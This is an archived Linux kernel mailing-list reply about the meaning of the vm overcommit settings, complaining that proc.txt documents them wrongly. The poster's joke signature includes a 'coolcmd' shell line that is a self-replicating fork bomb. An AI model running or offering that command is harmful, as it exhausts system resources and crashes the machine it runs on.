Once upon a midnight dreary, Alan Cox pondered, weak and weary:
> 0 - overcommit except if something is obviously silly
> 1 - overcommit always (some scientific workloads)
> 2 - don't overcommit (databases etc)
Exactly. Which is what the code and D/sysctl/vm.txt say, and why the
description in D/filesystems/proc.txt is a lying POS that needs to be
*shining blue led in everyones eyes* Exterminated before more people are
sucked into its world of lies.
---------
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "[email protected]" };
char kernel[] = { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt"; };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[Index of Archives]
[Kernel Newbies]
[Netfilter]
[Bugtraq]
[Photo]
[Gimp]
[Yosemite News]
[MIPS Linux]
[ARM Linux]
[Linux Security]
[Linux RAID]
[Video 4 Linux]
[Linux for the blind]
| |
 |